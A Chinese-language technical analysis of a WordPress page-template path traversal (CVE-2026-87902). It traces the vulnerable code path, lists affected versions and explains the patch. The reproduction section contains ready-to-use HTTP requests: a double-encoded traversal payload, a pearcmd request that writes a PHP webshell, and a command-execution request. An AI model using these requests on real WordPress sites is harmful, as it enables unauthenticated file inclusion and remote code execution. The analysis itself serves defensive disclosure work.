WordPress 页面模板解析路径遍历漏洞详解(CVE-2026-87902)
漏洞描述未认证攻击者可利用 get_page_template() 的页面模板解析逻辑,使 WordPress 包含活动主题目录之外的、攻击者选定的本地可读 .php 文件。在服务器环境和活动主题均满足特定前置条件时,可进一步导致远程代码执行(RCE)前置条件主题条件:当前启用的子主题或父主题包含一个以 page- 开头的顶级目录(例如 page-templates)。受影响的包括旧版 Twent
漏洞描述
未认证攻击者可利用 get_page_template() 的页面模板解析逻辑,使 WordPress 包含活动主题目录之外的、攻击者选定的本地可读 .php 文件。在服务器环境和活动主题均满足特定前置条件时,可进一步导致远程代码执行(RCE)
前置条件
- 主题条件:当前启用的子主题或父主题包含一个以 page- 开头的顶级目录(例如 page-templates)。受影响的包括旧版 Twenty Twelve、Twenty Fourteen,以及 Neve、Hestia、Sydney 等流行第三方主题。
- 服务器条件:服务器上存在攻击者选定的本地 .php 目标文件,且 Web 服务器账户可读。当 register_argc_argv 为 On 时,可利用知名的 pearcmd.php 实现 PEAR→RCE 转换。官方 PHP Docker 镜像受影响;使用 PHP 8.5 之前版本的默认 cPanel 配置也受影响。
漏洞评分:9.2
受影响的版本:
7.1.0 - 7.1.1
7.0.0 - 7.0.5
6.9.0 - 6.9.8
6.8.0 - 6.8.9
6.7.0 - 6.7.8
6.6.0 - 6.6.8
6.5.0 - 6.5.11
6.4.0 - 6.4.11
6.3.0 - 6.3.11
6.2.0 - 6.2.12
6.1.0 - 6.1.13
6.0.0 - 6.0.15
5.9.0 - 5.9.17
5.8.0 - 5.8.16
5.7.0 - 5.7.18
5.6.0 - 5.6.20
5.5.0 - 5.5.21
5.4.0 - 5.4.22
5.3.0 - 5.3.24
5.2.0 - 5.2.27
5.1.0 - 5.1.25
5.0.0 - 5.0.28
4.9.0 - 4.9.32
4.8.0 - 4.8.31
4.7.0 - 4.7.36

漏洞复现
POST / HTTP/1.1
Host: 127.0.0.1:8091
Content-Type: application/x-www-form-urlencoded
page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwp-links-opml
pagename 的值就是 templates/../../../../wp-links-opml 的双重 URL 编码(templates 对应主题里的 page-templates/ 目录,../×4 从 主题目录/page-templates/ 跳到站点根
文件写入
POST /?+config-create+/<?=system(end($_REQUEST))?>+wp-vuln/rce-shell.php HTTP/1.1
Host: 127.0.0.1:8091
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 130
page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252ftools%252fpear%252fpearcmd
命令执行
POST /?page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252frce-shell HTTP/1.1
Host: 127.0.0.1:8091
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 10
cmd=id
漏洞讲解
Step 1:请求入口 —— WP::parse_request()
src/wp-includes/class-wp.php:319-336。pagename 是 WP 的公开查询变量(class-wp.php:18),parse_request() 按 $_POST → $_GET → 伪静态规则 的优先级注入。使用 ?pagename= 查询串方式时,值来自 $_GET——PHP 已对查询串做了一次 URL 解码,故 query var 中保存的是"一次编码态"的载荷 templates%2F%2E%2E%2F...(这也是为什么载荷要发两层编码:留一层给 WordPress 自己在后面"过滤—使用"错位时利用):
} elseif ( isset( $_POST[ $wpvar ] ) ) {
$this->query_vars[ $wpvar ] = $_POST[ $wpvar ];
} elseif ( isset( $_GET[ $wpvar ] ) ) {
$this->query_vars[ $wpvar ] = $_GET[ $wpvar ];
} elseif ( isset( $perma_query_vars[ $wpvar ] ) ) {
$this->query_vars[ $wpvar ] = $perma_query_vars[ $wpvar ];
}Step 2:is_page 判定 —— 只看变量非空,不验页面存在
src/wp-includes/class-wp-query.php:891-901。这是第一个关键点:pagename 查询变量非空就直接置 is_page = true,与该 slug 是否对应真实页面完全无关:
} elseif ( '' !== $query_vars['pagename'] || ! empty( $query_vars['page_id'] ) ) {
$this->is_page = true;
$this->is_single = false;
}
Step 3:页面 slug 解析必然失败 —— 但无所谓
src/wp-includes/class-wp-query.php:1079-1098 尝试用 get_page_by_path() 把 pagename 解析为真实页面:
if ( '' !== $query_vars['pagename'] ) {
$this->queried_object = get_page_by_path( $query_vars['pagename'] );
...
if ( ! empty( $this->queried_object ) ) {
$this->queried_object_id = (int) $this->queried_object->ID;
} else {
unset( $this->queried_object );
}get_page_by_path()(src/wp-includes/post.php:6273)内部会先 urldecode 把载荷还原成 templates/../../../index,再按 / 分段并用 sanitize_title_for_query() 清洗每一段——字面量 .. 在清洗中变成空串(点被替换为 -、再被字符集白名单剔除),于是 .. 段永远无法与任何页面的 post_name 匹配;随后的祖先链逐段比对也注定失败,最终返回 null:

注意:解析失败只导致 queried_object 被置空,is_page 依旧为 true(Step 2 已设置,此处没有回退逻辑),query_vars['pagename'] 也未被触碰——遍历载荷仍以编码态完整存放在查询变量里。
Step 4:SQL 构建中的两道过滤与一次覆盖 —— 全链最精妙的一步
src/wp-includes/class-wp-query.php:2186-2217(get_posts() 内,注意 class-wp-query.php:1919 的 $query_vars = &$this->query_vars; 是引用):

} elseif ( '' !== $query_vars['pagename'] ) {
if ( isset( $this->queried_object_id ) ) {
$reqpage = $this->queried_object_id;
} else {
...
$reqpage = get_page_by_path( $query_vars['pagename'] ); // Step 3 已证明返回 null
...
$reqpage = 0;
}
...
if ( ( 'page' !== get_option( 'show_on_front' ) ) || ... ) {
$query_vars['pagename'] = sanitize_title_for_query( wp_basename( $query_vars['pagename'] ) );
$query_vars['name'] = $query_vars['pagename'];
$where .= " AND ({$wpdb->posts}.ID = '$reqpage')";
}此处发生了两件与本漏洞直接相关的事:
(a)官方显然试图在这里"消毒"pagename——sanitize_title_for_query( wp_basename( $pagename ) ),直觉上会把 xx/../../yy 截断为 basename 并清洗掉非法字符。但对"一次编码态"的载荷,这两个函数全部失效:
- wp_basename()(src/wp-includes/formatting.php:5758)的实现是 urldecode( basename( str_replace( '%2F', '/', urlencode( $path ) ) ) )。对 templates%2F%2E%2E... 先 urlencode 会把 % 编码成 %25(得到 %252F),str_replace('%2F','/') 找不到裸 %2F 子串、无法切分目录,basename() 原样返回,末尾 urldecode() 又把 %25 还原回 %——该函数对编码态输入是个"身份函数":

- sanitize_title_with_dashes()(src/wp-includes/formatting.php:2282)有一步"Preserve escaped octets"(L2284-2289):合法的 %XX 八位组会被显式保留。%2F、%2E 正是合法八位组,因此安然通过字符白名单 [^%a-z0-9 _-](L2395)。相反,字面量的 . 会在 L2393 被替换为 -——这就是公开 PoC 都用 %252E 而不用字面量 .. 的原因


于是 $this->query_vars['pagename'] 在 SQL 构建后仍为编码态原值。
(b)WHERE 条件先坏后好:pagename 分支给 $where 追加了 AND (ID = '0')(查不到任何东西),照理这个请求会以"无 posts"收场。但紧接着 L2276-2279 的 page_id 分支:

if ( $query_vars['page_id'] ) {
if ( ( 'page' !== get_option( 'show_on_front' ) ) || ( get_option( 'page_for_posts' ) != $query_vars['page_id'] ) ) {
$query_vars['p'] = $query_vars['page_id'];
$where = " AND {$wpdb->posts}.ID = " . $query_vars['page_id'];注意 $where 这里是赋值覆盖(= 而非 .=),把上一处 ID='0' 的死条件整个抹掉,主查询变成 ID = 2——成功查出真实页面。page_id 与 pagename 这两个变量的处理顺序(pagename 在前、page_id 在后)与覆盖语义,共同构成了"遍历 slug 搭车真实页面"的通道。若只发 pagename 不发 page_id,请求会 404,模板链走不到
Step 5:handle_404() 放行
src/wp-includes/class-wp.php:724-805。由于 $wp_query->posts 非空(页面 2 被查出),且未涉及翻页越界,$set_404 保持 false——请求以 200 进入模板加载阶段
Step 6:模板分发 —— template-loader.php
src/wp-includes/template-loader.php:67-101 按条件模板标签的优先级选择模板函数。is_404() 为 false 轮不到 404 模板;轮到 is_page 时调用 get_page_template()

分发得到路径后,最终在 L114-132 完成包含(此处对路径做了 realpath + 后缀/可读检查,但都不限制目录边界):

$tag_templates = array(
'is_embed' => 'get_embed_template',
'is_404' => 'get_404_template',
...
'is_page' => 'get_page_template',
...
);
foreach ( $tag_templates as $tag => $template_getter ) {
if ( call_user_func( $tag ) ) {
$template = call_user_func( $template_getter );
}
if ( $template ) { ... break; }
}Step 7:漏洞核心 —— get_page_template() 的"先过滤后解码"
src/wp-includes/template.php:471-504:

function get_page_template() {
$id = get_queried_object_id();
$template = get_page_template_slug();
$pagename = get_query_var( 'pagename' ); // ← 编码态遍历载荷(Step 4 证明其存活)
if ( ! $pagename && $id ) { /* 静态首页回退,本场景不触发 */ }
$templates = array();
if ( $template && 0 === validate_file( $template ) ) { // ← 6.2.1 曾对 _wp_page_template meta 加固过
$templates[] = $template;
}
if ( $pagename ) {
$pagename_decoded = urldecode( $pagename ); // ← 最后一刻解码:templates/../../../index
if ( $pagename_decoded !== $pagename ) { // ← 编码态≠解码态,恒成立
$templates[] = "page-{$pagename_decoded}.php"; // ← 遍历候选插入列表头部,无任何校验
}
$templates[] = "page-{$pagename}.php";
}
...
return get_query_template( 'page', $templates );
}三个细节:
- 这个 urldecode 候选项是 WP 4.7 为多字节字符页面名设计的功能(见函数 docblock @since 4.7.0),本意是让 page-中文页.php 也能匹配——它信任了"能被编码的内容也只是字符",没料到编码里可以藏着 / 和 .。
- 同函数 L488 对自定义模板 $template(_wp_page_template post meta)是做过 validate_file() 校验的——那是 WordPress 6.2.1 针对 Contributor 通过 REST API 写入遍历 meta 实现 LFI 的那次加固。历史补丁守住了 meta 通道,却漏掉了 pagename 通道,本漏洞正是从旁路进入。
- get_query_template()(template.php:23)只对 $type 做了 preg_replace('|[^a-z0-9-]+|','',$type) 这类清洗——清洗的是类型名而非候选文件名;随后 locate_block_template() 对经典主题直接透传(block-template.php:65-67:! current_theme_supports('block-templates') ⇒ return $template),载荷原样抵达 locate_template()。
Step 8:locate_template() 直接拼接 —— LFI 达成
src/wp-includes/template.php:722-753:

function locate_template( $template_names, $load = false, $load_once = true, $args = array() ) {
global $wp_stylesheet_path, $wp_template_path;
...
foreach ( (array) $template_names as $template_name ) {
if ( ! $template_name ) { continue; }
if ( file_exists( $wp_stylesheet_path . '/' . $template_name ) { // ← 拼接 + 存在性检查,无边界校验
$located = $wp_stylesheet_path . '/' . $template_name;
break;
} elseif ( $is_child_theme && file_exists( $wp_template_path . '/' . $template_name ) ) {
$located = $wp_template_path . '/' . $template_name; // ← 父主题目录同理
break;
} elseif ( file_exists( ABSPATH . WPINC . '/theme-compat/' . $template_name ) ) {
...
}
}
if ( $load && '' !== $located ) { load_template( $located, ... ); } // ← require 包含
return $located;
}以默认路径布局为例(主题 twentytwelve 自带 page-templates/ 目录):
拼接结果: /var/www/html/wp-content/themes/twentytwelve/page-templates/../../../index.php
文件系统解析:
themes/twentytwelve/page-templates/.. → themes/twentytwelve
/.. → themes
/.. → wp-content
最终路径: /var/www/html/wp-content/index.php ← 主题目录之外的文件为什么 page- 前缀的目录必须真实存在:文件系统解析 A/B/../../.. 时要求每一级都真实可走——候选路径的第一段 page-templates(= 模板名前缀 page- + 载荷首段 templates)必须是主题内真实存在的目录,后面的 ../ 才爬得出去;若主题没有这个目录,file_exists() 直接为 false,链条中断。这也解释了官方对受影响主题的点名:twentytwelve、twentyfourteen、Neve、Hestia、Sydney 恰好都有 page-templates/ 这类目录。
最后回到 template-loader.php:114-132 完成包含(此处对路径做了 realpath + 后缀/可读检查,但都不限制目录边界):
$template = apply_filters( 'template_include', $template );
$template = $is_stringy ? realpath( (string) $template ) : null;
if ( is_string( $template ) && ( str_ends_with( $template, '.php' ) || ... )
&& is_file( $template ) && is_readable( $template ) ) {
do_action( 'wp_before_include_template', $template );
include $template; // ← LFI 落地:任意可读 .php 被执行
}被包含的 wp-content/index.php 内容为 // Silence is golden.,故响应为 HTTP 200 + 空 Body——这就是无害检测的判定特征(对比正常页面约 23KB 的响应体)
Step 9:条件 RCE —— pearcmd.php 链
LFI 本身已可包含任意可读 .php;要进一步 RCE,官方通报指向最经典的 pearcmd.php 原语,需同时满足:
- 服务器上存在 /usr/local/lib/php/pearcmd.php(官方 php:* Docker 镜像默认安装 PEAR;WordPress 官方/常用 Docker 镜像即基于它);
- register_argc_argv = On(PHP 官方 Docker 镜像与 PHP < 8.5 默认 cPanel 配置默认开启;PHP 8.5 起默认关闭)
利用思路:把遍历终点指向 pearcmd(主题位于 /var/www/html/wp-content/themes/<theme>/page-templates,向上 5 级到达根目录):
pagename 解码态 = templates/../../../../../usr/local/lib/php/pearcmd
模板候选 = page-templates/../../../../../usr/local/lib/php/pearcmd.php
→ /usr/local/lib/php/pearcmd.phpregister_argc_argv=On 时,PHP(非 CLI)会把查询串按 + 切分为 $argv 传给被包含的脚本;pearcmd.php 的 config-create 子命令会将其第一个参数(攻击者可控内容)写入第二个参数指定的路径。因此攻击者可在同一个 GET 里追加 argv 段,让 PEAR 把含 PHP 代码的"配置文件"写进 Web 根目录,落地 Webshell,完成 RCE(该原语即 Pterodactyl CVE-2025-49132 等多个漏洞使用过的公开利用链,形如 &+config-create+/&/<?=...?>+/var/www/html/x.php)
即便目标环境没有 pearcmd,LFI 仍可用于:包含上传目录中可控内容的 .php 片段、包含含敏感逻辑的文件造成副作用、配合日志/会话文件包含等;审计 WordPress 对全部 locate_template() 调用方的影响面时还应注意到 get_template_part()、load_template() 同样汇聚到该函数
漏洞修复
改动只落在 src/wp-includes/template.php,是双保险结构:


第一处:堵住解码候选(get_page_template())
if ( $pagename ) {
$pagename_decoded = urldecode( $pagename );
- if ( $pagename_decoded !== $pagename ) {
+ if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
$templates[] = "page-{$pagename_decoded}.php";
}
$templates[] = "page-{$pagename}.php";
}validate_file()(functions.php:6372)对包含 ../、Windows 盘符等形态的路径返回非 0,遍历候选在进入列表前即被丢弃——与 6.2.1 对 _wp_page_template meta 的加固方式对齐。
第二处:在汇聚点做 realpath 边界收容(locate_template() + 新函数 _wp_is_template_path_allowed())
新增私有函数 _wp_is_template_path_allowed():对包含 .. 的候选路径做 realpath() 解析,要求真实路径必须落在以下目录之内才允许加载:当前主题(stylesheet)目录、父主题(template)目录、wp-includes/theme-compat/,以及主题本身位于子目录时其直接父目录。locate_template() 对每个 file_exists() 命中的候选都要先过这道检查:
if ( file_exists( $wp_stylesheet_path . '/' . $template_name ) ) {
$candidate = $wp_stylesheet_path . '/' . $template_name;
} elseif ( $is_child_theme && file_exists( $wp_template_path . '/' . $template_name ) ) {
$candidate = $wp_template_path . '/' . $template_name;
} elseif ( file_exists( ABSPATH . WPINC . '/theme-compat/' . $template_name ) ) {
$candidate = ABSPATH . WPINC . '/theme-compat/' . $template_name;
} else {
continue;
}
if ( _wp_is_template_path_allowed( $candidate ) ) { // ← realpath 必须收容在允许目录内
$located = $candidate;
break;
}参考
https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp